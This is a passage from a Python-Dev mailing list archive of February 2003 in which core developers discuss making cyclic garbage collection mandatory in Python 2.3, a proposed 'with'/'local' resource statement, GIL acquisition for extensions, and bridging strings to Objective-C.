> Now, if I want to make sure that I can pass the value to
> "i" I'll have to add another check which makes sure that
> the int() return value is indeed a standard integer.

YADWTM (You Are Definitely Worrying Too Much :-).

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tismer@tismer.com  Wed Feb  5 16:47:02 2003
From: tismer@tismer.com (Christian Tismer)
Date: Wed, 05 Feb 2003 17:47:02 +0100
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes
 existing applications to fail
In-Reply-To: <2mwuken1qs.fsf@starship.python.net>
References: <200302051557.h15FvdG29072@ftp01.cas.org> <2mwuken1qs.fsf@starship.python.net>
Message-ID: <3E414006.9030907@tismer.com>

Michael Hudson wrote:
> Robert Ledwith <rledwith@cas.org> writes:
> 
> 
>>I do not believe my experiences will prove to be unique among the Python
>>community.  Given this possibility, is it desirable to re-insert the
>>logic to make the cyclic GC optional now, heading off potential problems
>>that would surface only months from now, once Python 2.3 is officially rolled
>>out and installed worldwide?
> 
> 
> I'm not fully aware of all the issues, but I think that the
> interaction between the sometimes-there-sometimes-not gc code and the
> trashcan facility for safely deallocating deeply nested structures was
> deeply confusing and was a motivation for making the GC code
> non-optional.
> 
> So desirable or not, re-adding --without-cycle-gc may be *hard*.

I don't think so. When I read the latest CVS version,
I also stumbled on the new-born relationship between
trashcan and GC, but forgot to complain about it.
My original implementation abused the ob_type field
of the objects, which looked insane for some
developers.
But insane or not, I really dislike that for sanity,
GC is no longer an option. I know of many companies
(all my Stackless customers, for instance), who
would *never* switch to a Python version that needs
the GC.

Concerning the trashcan code, there is not so much
to change to make it independent from GC, again.
Some code does extra actions in order to prevend
interference, but it wouldn't hurt even to leave this in.
I'd be happy to help with that.

But if GC lost its optionality otherwise, too, I can't
estimate how much work that is.

cheers - chris
-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/



From guido@python.org  Wed Feb  5 16:49:16 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 05 Feb 2003 11:49:16 -0500
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail
In-Reply-To: Your message of "Wed, 05 Feb 2003 17:47:02 +0100."
 <3E414006.9030907@tismer.com>
References: <200302051557.h15FvdG29072@ftp01.cas.org> <2mwuken1qs.fsf@starship.python.net>
 <3E414006.9030907@tismer.com>
Message-ID: <200302051649.h15GnGI28753@odiug.zope.com>

> > So desirable or not, re-adding --without-cycle-gc may be *hard*.
> 
> I don't think so. When I read the latest CVS version,
> I also stumbled on the new-born relationship between
> trashcan and GC, but forgot to complain about it.
> My original implementation abused the ob_type field
> of the objects, which looked insane for some
> developers.
> But insane or not, I really dislike that for sanity,
> GC is no longer an option. I know of many companies
> (all my Stackless customers, for instance), who
> would *never* switch to a Python version that needs
> the GC.

You can help by volunteering to maintain the code that is needed for
making GC optional.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Wed Feb  5 16:32:34 2003
From: tim.one@comcast.net (Tim Peters)
Date: Wed, 05 Feb 2003 11:32:34 -0500
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes
 existing applications to fail
In-Reply-To: <2mwuken1qs.fsf@starship.python.net>
Message-ID: <BIEJKCLHCIOIHAGOKOLHOEFNEMAA.tim.one@comcast.net>

[Michael Hudson]
> I'm not fully aware of all the issues, but I think that the
> interaction between the sometimes-there-sometimes-not gc code and the
> trashcan facility for safely deallocating deeply nested structures was
> deeply confusing and was a motivation for making the GC code
> non-optional.

That's so, and the trashcan code was the source of critical bugs.  The
trashcan code is nearly obvious when we can rely on gc being there, and
extension modules can easily use the trashcan machinery too.  In the absence
of cyclic gc, extension modules can't use the trashcan machinery without
editing the core Python source code to teach the trashcan about each type
that wants to participate, and the trashcan implementation was much harder
to get right (it took us years to get to the state where we thought it might
finally be right <wink>).

> So desirable or not, re-adding --without-cycle-gc may be *hard*.

It would be, yes.  Note too that --without-cycle-gc was never intended to be
an ongoing config option.  It was a hairy experimental feature at first, and
we wanted a way to back it out quickly if the design proved to have fatal
flaws.  That didn't happen.



From neal@metaslash.com  Wed Feb  5 17:00:24 2003
From: neal@metaslash.com (Neal Norwitz)
Date: Wed, 05 Feb 2003 12:00:24 -0500
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes
 existing applications to fail
In-Reply-To: <200302051557.h15FvdG29072@ftp01.cas.org>
References: <200302051557.h15FvdG29072@ftp01.cas.org>
Message-ID: <20030205170023.GJ24222@epoch.metaslash.com>

On Wed, Feb 05, 2003 at 10:57:39AM -0500, Robert Ledwith wrote:
> 
> During the process of trying to upgrade my applications from Python 2.2.2
> to Python 2.3.a1 I have discovered that applications which previously ran
> to completion using Python 2.2.2 will no longer complete using Python 2.3a1
> due to the increased memory needed for every Python object. 

Are you sure that pymalloc isn't complicating the issue(s)?
Have you tried running configure --without-pymalloc?

Neal



From jrw@pobox.com  Wed Feb  5 17:00:37 2003
From: jrw@pobox.com (John Williams)
Date: Wed, 05 Feb 2003 11:00:37 -0600
Subject: [Python-Dev] With statement
In-Reply-To: <2msmv2onnm.fsf@starship.python.net>
References: <16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.com>	<20030205101118.GA65334@hishome.net> <2msmv2onnm.fsf@starship.python.net>
Message-ID: <3E414335.7030704@pobox.com>

Michael Hudson wrote:
> Oren Tirosh <oren-py-d@hishome.net> writes:
>>Let's assume that a new 'local' statement is added to Python. At the end 
>>of the current block the __del__ method of any references declared local 
>>is guaranteed to be called. [snip]
> 
> Two comments:
> 
> 1) The resource-allocation-is-initialization pattern works very well
>    in C++, but I'm unconvinced that we should aim to copy it exactly
>    -- it's a nice solution to the problem, but not the only possible
>    or best one, IMHO.
> 
> 2) Without the ability to define a scope at will, RAiI becomes less useful.


Why not combine the "with" and "local" statement ideas?  Change the 
"with" statement so that there is no __enter__ method, and call __del__ 
where there current proposal calls __exit__.  Now you have

   with f = file(...):
     # Do something with f.

meaning something similar to

   f = file(...)
   try:
     # Do something with f.
   finally:
     assert sys.getrefcount(f) == 2
     del f
     # f is guaranteed dead, so f.__del__ is called



From tim.one@comcast.net  Wed Feb  5 17:08:11 2003
From: tim.one@comcast.net (Tim Peters)
Date: Wed, 05 Feb 2003 12:08:11 -0500
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes
 existing applications to fail
In-Reply-To: <3E414006.9030907@tismer.com>
Message-ID: <BIEJKCLHCIOIHAGOKOLHMEGCEMAA.tim.one@comcast.net>

[Christian Tismer]
> ...
> I know of many companies (all my Stackless customers, for
> instance), who would *never* switch to a Python version that
> needs the GC.

What relationship does Stackless have with user code creating cycles among
Python objects?  I don't see any.

One thing getting overlooked here is how many newer C-level Python objects
register with GC, due to that so many new features end up creating reference
cycles.  For example, create a new-style class and you've created cycles.
If you have a customer who disables cyclic GC, they'll have to avoid other
newer features too, or endure leaks.



From oren-py-d@hishome.net  Wed Feb  5 17:12:29 2003
From: oren-py-d@hishome.net (Oren Tirosh)
Date: Wed, 5 Feb 2003 12:12:29 -0500
Subject: [Python-Dev] With statement
In-Reply-To: <2msmv2onnm.fsf@starship.python.net>
References: <16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.com> <20030205101118.GA65334@hishome.net> <2msmv2onnm.fsf@starship.python.net>
Message-ID: <20030205171229.GA15739@hishome.net>

On Wed, Feb 05, 2003 at 01:35:57PM +0000, Michael Hudson wrote:
> Oren Tirosh <oren-py-d@hishome.net> writes:
> 
> > Let's assume that a new 'local' statement is added to Python. At the end 
> > of the current block the __del__ method of any references declared local 
> > is guaranteed to be called. The object must have exactly one remaining 
> > reference, otherwise an exception is raised. In a GC implementation it may 
> > make some change to the object so that any remaining references to it 
> > become stale references and raise an exception as soon as they are touched 
> > in any way. Note that a reference to a closed file object is already a 
> > stale reference and raises an exception if any I/O operation is attempted 
> > on it.
> 
> Two comments:
> 
> 1) The resource-allocation-is-initialization pattern works very well
>    in C++, but I'm unconvinced that we should aim to copy it exactly

I am not copying anything. I came up with this idea all by myself ;-)

>    -- it's a nice solution to the problem, but not the only possible
>    or best one, IMHO.

Umm... after reading this sentence a few times, I am still not sure what
information it conveys to me about your opinion of the idea.

Was that a +1, +0, -0 or -1?  

> 2) Without the ability to define a scope at will, RAiI becomes less useful.

local f=open('sdaskdfjhaslk')
...
del l

Deleting this kind of variable (whether we call it local or something 
else) means you want its __del__ executed now. It is also an assertion 
that its reference count is supposed to be 1 at this point. This not only 
gives you the ability to define a scope at will, it lets you create 
scopes dynamically. It's probably useful for more than just RAiI. Perhaps
too useful.
 
	Oren



From guido@python.org  Wed Feb  5 17:12:20 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 05 Feb 2003 12:12:20 -0500
Subject: [Python-Dev] PEP Draft: Simplified Global Interpreter Lock acquisition for extensions
In-Reply-To: Your message of "Wed, 05 Feb 2003 14:33:52 +1100."
 <006c01c2ccc7$6e6c8880$530f8490@eden>
References: <006c01c2ccc7$6e6c8880$530f8490@eden>
Message-ID: <200302051712.h15HCK128945@odiug.zope.com>

Good PEP, Mark.  I support solving this problem once and for all.

One question: you claim that some implementation of TLS (Thread Local
Storage) is required to implement this API, but you don't give enough
implementation details to explain this requirement.

I wonder if instead of relying on TLS, you could return a void*
pointer from PyAutoThreadState_Ensure() which must be passed back into
PyAutoThreadState_Release()?  Or is TLS used for something else too?

(I'm not a big fan of TLS, mostly because its API is different for
each native thread package; requiring it would make the burden of
providing the PyAutoThreadState API bigger.)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From pedronis@bluewin.ch  Wed Feb  5 17:16:14 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Wed, 5 Feb 2003 18:16:14 +0100
Subject: [Python-Dev] With statement
References: <16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.com> <20030205101118.GA65334@hishome.net> <2msmv2onnm.fsf@starship.python.net> <20030205171229.GA15739@hishome.net>
Message-ID: <021901c2cd3a$49ef1e00$6d94fea9@newmexico>

From: "Oren Tirosh" <oren-py-d@hishome.net>
> > 2) Without the ability to define a scope at will, RAiI becomes less useful.
>
> local f=open('sdaskdfjhaslk')
> ...
> del l
>
> Deleting this kind of variable (whether we call it local or something
> else) means you want its __del__ executed now. It is also an assertion
> that its reference count is supposed to be 1 at this point. This not only
> gives you the ability to define a scope at will, it lets you create
> scopes dynamically. It's probably useful for more than just RAiI. Perhaps
> too useful.

it is not about variables, it is about objects, too much fragile magic

local f=open('sdaskdfjhaslk')
w = f.write

w(...)

del f # ???




From mwh@python.net  Wed Feb  5 17:30:34 2003
From: mwh@python.net (Michael Hudson)
Date: Wed, 05 Feb 2003 17:30:34 +0000
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes
 existing applications to fail
In-Reply-To: <BIEJKCLHCIOIHAGOKOLHOEFNEMAA.tim.one@comcast.net> (Tim
 Peters's message of "Wed, 05 Feb 2003 11:32:34 -0500")
References: <BIEJKCLHCIOIHAGOKOLHOEFNEMAA.tim.one@comcast.net>
Message-ID: <2m7kceab45.fsf@starship.python.net>

Tim Peters <tim.one@comcast.net> writes:

> (it took us years to get to the state where we thought it might
> finally be right <wink>).

We still have bug #668433 <groan>.

Cheers,
M.

-- 
  My hat is lined with tinfoil for protection in the unlikely event
  that the droid gets his PowerPoint presentation working.
                               -- Alan W. Frame, alt.sysadmin.recovery


From mwh@python.net  Wed Feb  5 17:34:30 2003
From: mwh@python.net (Michael Hudson)
Date: Wed, 05 Feb 2003 17:34:30 +0000
Subject: [Python-Dev] With statement
In-Reply-To: <20030205171229.GA15739@hishome.net> (Oren Tirosh's message of
 "Wed, 5 Feb 2003 12:12:29 -0500")
References: <16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.com>
 <20030205101118.GA65334@hishome.net>
 <2msmv2onnm.fsf@starship.python.net>
 <20030205171229.GA15739@hishome.net>
Message-ID: <2m4r7iaaxl.fsf@starship.python.net>

Oren Tirosh <oren-py-d@hishome.net> writes:

> Umm... after reading this sentence a few times, I am still not sure what
> information it conveys to me about your opinion of the idea.
>
> Was that a +1, +0, -0 or -1?  

-IDONTCAREVERYMUCH, I think.

Reading I-don't-know-how-many-hundred posts on this kind of topic is
starting to get to me.  You might want to try asking me next week.

>> 2) Without the ability to define a scope at will, RAiI becomes less useful.
>
> local f=open('sdaskdfjhaslk')
> ...
> del l

But then you probably want a try/finally block... oh hang on, the
frame in the traceback structure will hold a reference.  I think that
kills it, YMMV.

Cheers,
M.

-- 
  The gripping hand is really that there are morons everywhere, it's
  just that the Americon morons are funnier than average.
                              -- Pim van Riezen, alt.sysadmin.recovery


From mwh@python.net  Wed Feb  5 17:43:54 2003
From: mwh@python.net (Michael Hudson)
Date: Wed, 05 Feb 2003 17:43:54 +0000
Subject: [Python-Dev] I have something I'd like to use the farm for.
Message-ID: <2m1y2maahx.fsf@starship.python.net>

The following message is a courtesy copy of an article
that has been posted to gmane.comp.python.snake-farm.user as well.

Ages ago, I wrote and checked in a patch that added sigprocmask() and
so on to the signal module.

This broke in a variety of exciting ways on a variety of platforms[1],
and after a while I just disabled the code in configure that checks
for sigprocmask.  The code, docs and tests are still there.

Clearly before 2.3, this needs to be sorted out: either we need to
find out which platforms it has a hope in hell of working on and
enable it there, or we need to rip it out.

Would it be possible to test this out on the snake farm's systems?
It's not suited to automated testing as various platforms breakage
involved hanging.

Cheers,
M.

PS: off home now, so I won't be responding to replies until tomorrow
unless you're really fast.

[1] or in one case, broke the platform: FreeBSD's behaviour got deemed
    a bug in FreeBSD itself.

-- 
  Every day I send overnight packages filled with rabid weasels to
  people who use frames for no good reason.
                             -- The Usenet Oracle, Oracularity #1017-1


From python@rcn.com  Wed Feb  5 17:54:14 2003
From: python@rcn.com (Raymond Hettinger)
Date: Wed, 5 Feb 2003 12:54:14 -0500
Subject: [Python-Dev] Why did Fredrik leave the party?
References: <200302031653.h13Grof20104@odiug.zope.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com> <200302041843.30945.mclay@nist.gov> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net> <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy>
Message-ID: <001701c2cd3f$ae8ff960$125ffea9@oemcomputer>

> I don't have time to argue the merits of adding new features in the
> first place.  But please, let's not be naive about their impact on 
> the perceived simplicity of Python.  Like it or not, beginners do
> need to know about new things, even if they will not be coding them.

I don't disagree that 2.3 is more complex than 1.5.2.
However, *some* of the changes made python easier to learn 
and use.  At one time, every beginner had to learn:

* how to override __getitem__ and throw away the index
   to simulate iteration
* to add 1L to their factorial function which worked fine
   for small parameters but crashed with larger ones
* to clutter code with x=x, y=y, etc to simulate nested scope      
* funky code contortions to simulate lockstep iteration
* use of the lineinput module to read files line-by-line

For users of non-ascii charactersets, life has gotten much
easier.


Raymond Hettinger




#################################################################
#################################################################
#################################################################
#####
#####
#####
#################################################################
#################################################################
#################################################################


From tismer@tismer.com  Wed Feb  5 18:00:50 2003
From: tismer@tismer.com (Christian Tismer)
Date: Wed, 05 Feb 2003 19:00:50 +0100
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes
 existing applications to fail
In-Reply-To: <BIEJKCLHCIOIHAGOKOLHMEGCEMAA.tim.one@comcast.net>
References: <BIEJKCLHCIOIHAGOKOLHMEGCEMAA.tim.one@comcast.net>
Message-ID: <3E415152.7070505@tismer.com>

Tim Peters wrote:
> [Christian Tismer]
> 
>>...
>>I know of many companies (all my Stackless customers, for
>>instance), who would *never* switch to a Python version that
>>needs the GC.
> 
> 
> What relationship does Stackless have with user code creating cycles among
> Python objects?  I don't see any.

I didn't talk about Stackless at all :-)
But the only companies who I know directly
to completely depend on Python happen to
also use Stackless.

> One thing getting overlooked here is how many newer C-level Python objects
> register with GC, due to that so many new features end up creating reference
> cycles.  For example, create a new-style class and you've created cycles.
> If you have a customer who disables cyclic GC, they'll have to avoid other
> newer features too, or endure leaks.

Right, that's truely an issue.
I don't think they would care about class leaks,
but for frequently created objects, they would
need extra destructors.
At least CCPgames uses 2.2 already. I will ask
them if they adhered to not using GC, and how.

cheers - chris

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/



From fdrake@acm.org  Wed Feb  5 17:59:51 2003
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Wed, 5 Feb 2003 12:59:51 -0500
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes
 existing applications to fail
In-Reply-To: <BIEJKCLHCIOIHAGOKOLHMEGCEMAA.tim.one@comcast.net>
References: <3E414006.9030907@tismer.com>
 <BIEJKCLHCIOIHAGOKOLHMEGCEMAA.tim.one@comcast.net>
Message-ID: <15937.20759.986835.762701@grendel.zope.com>

Tim Peters writes:
 > For example, create a new-style class and you've created cycles.
 > If you have a customer who disables cyclic GC, they'll have to
 > avoid other newer features too, or endure leaks.

Why would creating new style classes create cycles?  The links between
a type and derived types use weak references, which do not rely on the
cycle GC support.


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From tim.one@comcast.net  Wed Feb  5 18:16:02 2003
From: tim.one@comcast.net (Tim Peters)
Date: Wed, 05 Feb 2003 13:16:02 -0500
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes
 existing applications to fail
In-Reply-To: <3E41543F.9090709@tismer.com>
Message-ID: <BIEJKCLHCIOIHAGOKOLHIEGLEMAA.tim.one@comcast.net>

[Christian Tismer]
> It might be not so hard to make trashcan able
> to register new types at run-time.

They don't have to do anything extra now -- registering with gc is
sufficient in current CVS.  It's also a fine fit:  if they're fat containers
for which the trashcan is appropriate, they can also be involved in cycles.

Note too that people can get back more memory than gc consumes by declaring
new-style classes to use __slots__.  That's a new memory-optimization
gimmick, and an effective one.



From tismer@tismer.com  Wed Feb  5 18:13:19 2003
From: tismer@tismer.com (Christian Tismer)
Date: Wed, 05 Feb 2003 19:13:19 +0100
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes
 existing applications to fail
In-Reply-To: <BIEJKCLHCIOIHAGOKOLHOEFNEMAA.tim.one@comcast.net>
References: <BIEJKCLHCIOIHAGOKOLHOEFNEMAA.tim.one@comcast.net>
Message-ID: <3E41543F.9090709@tismer.com>

Tim Peters wrote:
...
> In the absence
> of cyclic gc, extension modules can't use the trashcan machinery without
> editing the core Python source code to teach the trashcan about each type
> that wants to participate, and the trashcan implementation was much harder
> to get right (it took us years to get to the state where we thought it might
> finally be right <wink>).

It might be not so hard to make trashcan able
to register new types at run-time.

ciao - chris
-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/



From barry@python.org  Wed Feb  5 18:04:02 2003
From: barry@python.org (Barry A. Warsaw)
Date: Wed, 5 Feb 2003 13:04:02 -0500
Subject: [Python-Dev] Why did Fredrik leave the party?
References: <200302031653.h13Grof20104@odiug.zope.com>
 <068a01c2cc8e$31e97140$6d94fea9@newmexico>
 <200302042057.h14KvEI26727@odiug.zope.com>
 <200302041843.30945.mclay@nist.gov>
 <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net>
 <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy>
 <001701c2cd3f$ae8ff960$125ffea9@oemcomputer>
Message-ID: <15937.21010.425705.268595@gargle.gargle.HOWL>

>>>>> "RH" == Raymond Hettinger <python@rcn.com> writes:

    RH> * how to override __getitem__ and throw away the index to
    RH> simulate iteration * to add 1L to their factorial function
    RH> which worked fine for small parameters but crashed with larger
    RH> ones * to clutter code with x=x, y=y, etc to simulate nested
    RH> scope * funky code contortions to simulate lockstep iteration
    RH> * use of the lineinput module to read files line-by-line

Don't forget ugly and unique

    foo = foo + 1

-Barry


From theller@python.net  Wed Feb  5 18:39:24 2003
From: theller@python.net (Thomas Heller)
Date: 05 Feb 2003 19:39:24 +0100
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail
In-Reply-To: <BIEJKCLHCIOIHAGOKOLHIEGLEMAA.tim.one@comcast.net>
References: <BIEJKCLHCIOIHAGOKOLHIEGLEMAA.tim.one@comcast.net>
Message-ID: <smv2bmhv.fsf@python.net>

Tim Peters <tim.one@comcast.net> writes:

> Note too that people can get back more memory than gc consumes by declaring
> new-style classes to use __slots__.  That's a new memory-optimization
> gimmick, and an effective one.

Is there *any* other way to get the same effect as '__slots__ = []'
except inserting this is the code? A flag in the C coded base class?

I constantly forget to use this in subclasses I define.
I know I can use a __metaclass__ for this, but I'm looking for other ways.

Thomas



From DavidA@ActiveState.com  Wed Feb  5 18:49:34 2003
From: DavidA@ActiveState.com (David Ascher)
Date: Wed, 05 Feb 2003 10:49:34 -0800
Subject: [Python-Dev] Why did Fredrik leave the party?
In-Reply-To: <15937.21010.425705.268595@gargle.gargle.HOWL>
References: <200302031653.h13Grof20104@odiug.zope.com>	<068a01c2cc8e$31e97140$6d94fea9@newmexico>	<200302042057.h14KvEI26727@odiug.zope.com>	<200302041843.30945.mclay@nist.gov>	<200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net>	<001a01c2cd1e$a1e30d40$860bf5d1@PythonToy>	<001701c2cd3f$ae8ff960$125ffea9@oemcomputer> <15937.21010.425705.268595@gargle.gargle.HOWL>
Message-ID: <3E415CBE.10106@ActiveState.com>

Barry A. Warsaw wrote:
>>>>>>"RH" == Raymond Hettinger <python@rcn.com> writes:
> 
> 
>     RH> * how to override __getitem__ and throw away the index to
>     RH> simulate iteration * to add 1L to their factorial function
>     RH> which worked fine for small parameters but crashed with larger
>     RH> ones * to clutter code with x=x, y=y, etc to simulate nested
>     RH> scope * funky code contortions to simulate lockstep iteration
>     RH> * use of the lineinput module to read files line-by-line
> 
> Don't forget ugly and unique
> 
>     foo = foo + 1
> 

Or my favorite wart fixed in 2.3

	bigstring.index(smallstring) != -1

(or was that bigstring.find(smallstring) != -1 ? :-)

--david




From guido@python.org  Wed Feb  5 18:06:27 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 05 Feb 2003 13:06:27 -0500
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail
In-Reply-To: Your message of "Wed, 05 Feb 2003 12:59:51 EST."
 <15937.20759.986835.762701@grendel.zope.com>
References: <3E414006.9030907@tismer.com> <BIEJKCLHCIOIHAGOKOLHMEGCEMAA.tim.one@comcast.net>
 <15937.20759.986835.762701@grendel.zope.com>
Message-ID: <200302051806.h15I6RZ29404@odiug.zope.com>

> Tim Peters writes:
>  > For example, create a new-style class and you've created cycles.
>  > If you have a customer who disables cyclic GC, they'll have to
>  > avoid other newer features too, or endure leaks.

[Fred]
> Why would creating new style classes create cycles?  The links between
> a type and derived types use weak references, which do not rely on the
> cycle GC support.

The class __dict__ contains methods, and the methods contain a
reference back to the class.  This is not a weak reference.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From fdrake@acm.org  Wed Feb  5 18:53:10 2003
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Wed, 5 Feb 2003 13:53:10 -0500
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes
 existing applications to fail
In-Reply-To: <BIEJKCLHCIOIHAGOKOLHMEGKEMAA.tim.one@comcast.net>
References: <15937.20759.986835.762701@grendel.zope.com>
 <BIEJKCLHCIOIHAGOKOLHMEGKEMAA.tim.one@comcast.net>
Message-ID: <15937.23958.231308.449130@grendel.zope.com>

I wrote:
 > Why would creating new style classes create cycles?  The links between
 > a type and derived types use weak references, which do not rely on the
 > cycle GC support.

Tim Peters writes:
 > >>> def f():
 > ...    class C(object):
 > ...       pass
 > ...
 > [9589 refs]
 > >>> f()
 > [9611 refs]
...
 > >>> import gc
 > [9900 refs]
 > >>> gc.collect()
 > 48
 > [9742 refs]
...
 > Take it from there, but don't forget to come for air once an hour <wink>.

Ugh!  Ok, I guess I've not managed to stay on top of what's going on
in Python land for a while...


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From bbum@codefab.com  Wed Feb  5 20:27:53 2003
From: bbum@codefab.com (Bill Bumgarner)
Date: Wed, 5 Feb 2003 15:27:53 -0500
Subject: [Pyobjc-dev] Re: [Python-Dev] Bridging strings from Python to other languages
In-Reply-To: <200302051552.h15FqKA28439@odiug.zope.com>
Message-ID: <4DC75F47-3948-11D7-B750-000393877AE4@codefab.com>

On Wednesday, Feb 5, 2003, at 10:52 US/Eastern, Guido van Rossum wrote:
> In my experience almost no Python code depends on this property, and
> it seems to be the most problematic one.  So why is this a
> requirement?

Because we are using Python to glue together other object oriented 
frameworks-- Apple's and third party's-- for which we do not have 
control over said behavior.

Sometimes an object is just an object and those frameworks insist on 
the same object-- same identifier/address-- coming out that went in.

As Just pointed out, my original example wasn't as clear as it could 
have been.   If a String object comes out of the alien-to-python world 
and is later sent from python back into the alien-to-python runtime, 
the same String object-- the same id()-- must be sent back.

> If you can live with only using Unicode strings (even when all they
> contain is ASCII or Latin-1 values), I think subclassing Unicode might
> be the way to go.

Right.  I believe that is the path will we go down.

> I don't have time to dig deeper into this.  But if you think a small
> change to Python can make life easier for you, I expect we'll be happy
> to implement it, as long as it doesn't make life harder for Python
> developers.

I can think of a couple of changes to Python that would be potentially 
quite helpful in this situation.

Specifically:

     - ability to have weak references to string objects [and unicode 
objects].   Since we can make arbitrary object associations and 
re-associations when crossing the bridge between environments, I 
believe weakref would allow us to maintain a reference map as long as 
we could grab the 'string is now going away' callback to update the 
weakref map when the string is deallocated

     - ability to subclass string objects or the ability to add a hunk 
of data-- the reference to the 'alien' string object-- to any string 
object.

Either one would work equally as well... whether or not they are easy 
to do, I have not a clue.

b.bum



From zooko@zooko.com  Wed Feb  5 19:53:00 2003
From: zooko@zooko.com (Zooko)
Date: Wed, 05 Feb 2003 14:53:00 -0500
Subject: [Python-Dev] who uses new language features? (was: Why did Fredrik leave the party?)
In-Reply-To: Message from "Raymond Hettinger" <python@rcn.com>
 of "Wed, 05 Feb 2003 12:54:14 EST." <001701c2cd3f$ae8ff960$125ffea9@oemcomputer>
References: <200302031653.h13Grof20104@odiug.zope.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com> <200302041843.30945.mclay@nist.gov> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net> <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy>  <001701c2cd3f$ae8ff960$125ffea9@oemcomputer>
Message-ID: <E18gVbQ-0005wJ-00@localhost>

This is just a "data point" -- I'm going to tell you about my experiences and my 
choices rather than advocate something you should do.

I'm a programmer.  I'm pretty smart.  I know a lot of programming languages 
fluently.  (Or at least, I have known them fluently in the past.)

For the last four years or so Python has been my favorite programming language 
by far.

I'm the lead developer on a largish[1] project written in Python, named Mnet[2].

When the project started in 1999, the current version of Python was 1.5.1.

The latest release of Mnet works on all released Pythons from 1.5.2 to 2.2 
(although it does nothing to prevent accumulation of reference cycles).


 Mark Lutz <lutz@rmi.net> wrote:
>
> I don't disagree that 2.3 is more complex than 1.5.2.
> However, *some* of the changes made python easier to learn 
> and use.  At one time, every beginner had to learn:
> 
> * how to override __getitem__ and throw away the index
>    to simulate iteration

I've never done this, nor do I use the modern iterators.  This probably means 
there are places where my code could be tightened up by the application of 
iterators, but I don't feel particularly motivated about this.

> * to add 1L to their factorial function which worked fine
>    for small parameters but crashed with larger ones

Yeah, this was a pain.  I'm glad it's fixed.

> * to clutter code with x=x, y=y, etc to simulate nested scope      

Likewise, I find the modern language is nicer in this respect.

> * funky code contortions to simulate lockstep iteration

I don't know what this means (see earlier comment about iteration).

> * use of the lineinput module to read files line-by-line

I've always read text files line-by-line with the "readline()" method of a file 
object.  I don't know about the lineinput module.  I know about xreadlines() but 
I've never bothered to use it AFAIR.

By the way, you didn't mention generators as such, but likewise they are a new 
Python feature that I haven't bothered to learn.  I'm comfortable with the 
notion of continuations, and so I don't think I would have any trouble learning 
how to use generators, but I don't feel the need and it would make my code 
harder for others (who don't understand generators) to learn.


Now as to the Standard Library, I have rejoiced each time something was added to 
the Python Standard Library that I had previously done with a third-party module 
or with a homegrown module.  Many of the agenda items on the Mnet TODO list 
(some of which are now checked off) say "now that feature X is in the Python 
Standard Library, replace our homegrown X with the standard X".  These include 
distutils, pyunit, logging, bsddb3.


I will refrain from mentioning Things I Would Like To See because that would 
